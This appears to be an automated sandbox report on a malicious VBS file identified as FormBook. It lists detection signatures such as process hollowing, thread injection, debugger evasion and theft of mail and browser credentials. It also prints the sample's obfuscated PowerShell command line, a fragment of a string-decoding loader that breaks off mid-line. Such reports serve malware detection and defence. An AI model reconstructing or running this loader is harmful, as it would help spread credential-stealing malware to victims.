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Windows
Analysis Report
cnf13429226.vbs
Overview
General Information
Detection
FormBook
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Yara detected FormBook
Malicious sample detected (through community Yara rule)
System process connects to network (likely due to code injection or exploit)
Antivirus detection for URL or domain
Snort IDS alert for network traffic
Hides threads from debuggers
Sample uses process hollowing technique
Tries to steal Mail credentials (via file / registry access)
Maps a DLL or memory area into another process
Writes to foreign memory regions
Tries to detect Any.run
Wscript starts Powershell (via cmd or directly)
Potential malicious VBS script found (suspicious strings)
Very long command line found
Performs DNS queries to domains with low reputation
Injects a PE file into a foreign processes
Potential evasive VBS script found (use of timer() function in loop)
Queues an APC in another process (thread injection)
Obfuscated command line found
Modifies the context of a thread in another process (thread injection)
Found potential ransomware demand text
Tries to harvest and steal browser information (history, passwords, etc)
Queries the volume information (name, serial number etc) of a device
Yara signature match
Antivirus or Machine Learning detection for unpacked file
One or more processes crash
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Internet Provider seen in connection with other malware
Detected potential crypto function
Found potential string decryption / allocating functions
Sample execution stops while process was sleeping (likely an evasion)
JA3 SSL client fingerprint seen in connection with other malware
Contains functionality to call native functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Contains functionality for execution timing, often used to detect debuggers
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Java / VBScript file with very long strings (likely obfuscated code)
Tries to load missing DLLs
Contains functionality to read the PEB
Checks if the current process is being debugged
Found large amount of non-executed APIs
Uses Microsoft's Enhanced Cryptographic Provider
Creates a process in suspended mode (likely to inject code)
Found WSH timer for Javascript or VBS script (likely evasive script)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Classification
- System is w10x64native
- wscript.exe (PID: 1572 cmdline:
C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\cnf13 429226.vbs " MD5: 0639B0A6F69B3265C1E42227D650B7D1) - powershell.exe (PID: 8272 cmdline:
C:\Windows \System32\ WindowsPow erShell\v1 .0\powersh ell.exe" " $nonreliab leness = " ""InFSauPa nRecbutPei RaoHunSm A fSHapOviSk nRedRdeRer AeoHukTvsM a0Ch La{Af Co Ph In FrpbaaFirU raEkmBe(Sp [stSFotOrr GaiRenHigA m]Ud`$giAP anAntPohKr rStoAppCro ResVecVeoB opOryCa)Id ;Am Ga Le St Tr`$EpK ChaudnViuS erWeisi Pr =Ho buNAle BiwCr-FrON ubMojSkech cFotbi Deb ReyfitCoeF o[Fo]Pa Tu (Gr`$OuAAb nFatAshUnr DyoDupHeon osNocInoRe pVayHy.ReL UneshnDigT otNahPi Ov /Se De2Un) Pr;Sq Ku R e Af MuFKr oGerTr(Af` $SvTSirQua HycBltUriS ulMoiSutOv yAm=Wa0Sp; Un Ra`$BoT DerBoaAncV itToiLalTs iChtSeyBl Am-PalPltF e Al`$ChAC hnNotInhOl rTyoMepseo PlsSycApoB spPryBu.St LUnePanWug Dytsyhre;F l Zo`$StTP arUnaPrcUn tDiirelPei VitNoyPh+P r=An2St)Ne {Dy Br Ch` $FoBBeaFor FobJuaAgrH yoViuFesTh Qu=Th Ca` $XiAAfnSgt FahUnrJaoT epBroDesHe cHyoEjpUly Re.AnSHjuM abDisLotKu rUriCynang Se(Ag`$TaT VerNeaUdcL ktOvilelBi iSttKeyCo, ty Vr2St)T i;Re Ba Fa Ge Bl Sv Bl Se Ns`$ DrKSaaEunK ouHorApiDa [Pr`$MeTBl rMeaFecBlt ObiUdlPriS ttNoyFa/Ge 2Am]Tr Ti= Ru Pa[HucD eoTanAlvBl eSnrCotPe] Sy:Kl:ViTE doPuBAfyAm tPrePr(Au` $HoBPraMir EybReaCirT aoOmuImsSy ,Ov St1De6 Im)St;To B e Ra`$BoKM iaNanTruBo rTuise[Fl` $skTDorAma SecIntUniC hlMoiwatPl yRo/Au2Pr] Re Le=Go b a(Ba`$ToKU daInnUnuVi rUniCa[Un` $soTKrrSca AkcTitSeiF ylJuiSutTh yBr/em2Fo] In Un-BrbM exLkoTrrLa Vu1St5Co1 Sa)Va;Du L t In Be Ko }un Mi[suS TrtSerCaiA mnFigLi]Ch [maSboyLas DitSteAnmF i.haTSmeNe xTutMo.BaE FrnEscAtoM adNoiAtnen gSn]St:ca: TiAToSZeCF oIskIDr.Cl GsueFitGlS FotBerStik animgSe(St `$GrKKlaSk nAnuKrrFoi Cr)Ha;Gi}H e`$ToMHuat egOpnStaVe lNoeCo2Me7 De0Ga=ArST opMiiFrnAc dPreHorSao FakErsFr0F a Fo'HiCOp 4KeEUnEryE ta4HoEAl3H aFUd2DoFSy AGrBsh9InF Fj3ThFLaBA nFBoBOf'Ca ;Ga`$SeMKe aUngVinnaa ImlTeeDe2K p7Al1In=Te SLopBiiDun IndSieUirF yoGekCosTa 0tu Sh'FiD ThAUnFGlEA rFVi4LeEDi 5TrFSt8EnE Wa4ReFIr8K rFDi1FeEDi 3BrBBa9InC Ka0HuFOmED rFFu9FaABa 4SaAUn5BuB De9GiCSl2N oFMa9KuEGe 4WaFRe6MaF No1MaFAr2K oDFu9KoFRk 6FoETe3ReF GaEBaEMe1T hFEx2DoDKa AFrFMa2TaE Ga3NaFEsFE cFMo8SkFPe 3PrEBr4Ko' mu;El`$ImM NoaUdgNonC oaMalHoeEm 2Om7Is2Pr= ApSDapskiH enAadOpeDe rKooTikFrs Da0Bu fy'B oDSy0InFNa 2FaEAd3DeC Ku7OvECa5F oFSk8OvFPo 4CuDfi6RoF Ec3LeFSp3S kENs5AuFSy 2InELs4ArE Ba4Lg'Fo;C o`$MaMfiaR ogSonHaaHo lNgesy2St7 Re3Ga=FySN ypFliBlnEm dAmePhrMoo SikStsKl0D i To'MyCHe 4YaEfrEFeE De4SeEhi3S oFTi2TeFOi AStBSl9inC Se5UhECi2l oFPa9DrEKl 3ViFFjETiF CaAclFCh2S tBTe9GrDCo EOvFHo9PaE El3NiFVi2O lETr5RoFAb 8PrESa7StC pr4OdFGa2I nETe5ToEGi 1blFUdEFnF Ti4TiFKb2C aEFl4SeBOt 9UnDAnFChF Se6PyFYt9D eFOv3SyFEd BStFBo2SkC Re5MyFNo2A sFCe1Mo'Da ;Mo`$ReMHy aStgFunToa RelnoeSl2t u7Ov4Pu=Ve STrpSaiKin VedPreKirF ioUdkLesDr 0Na Hi'FoE Af4ToESu3Y aESt5SaFVo EFlFla9ZeF Ma0Kv'Su;Y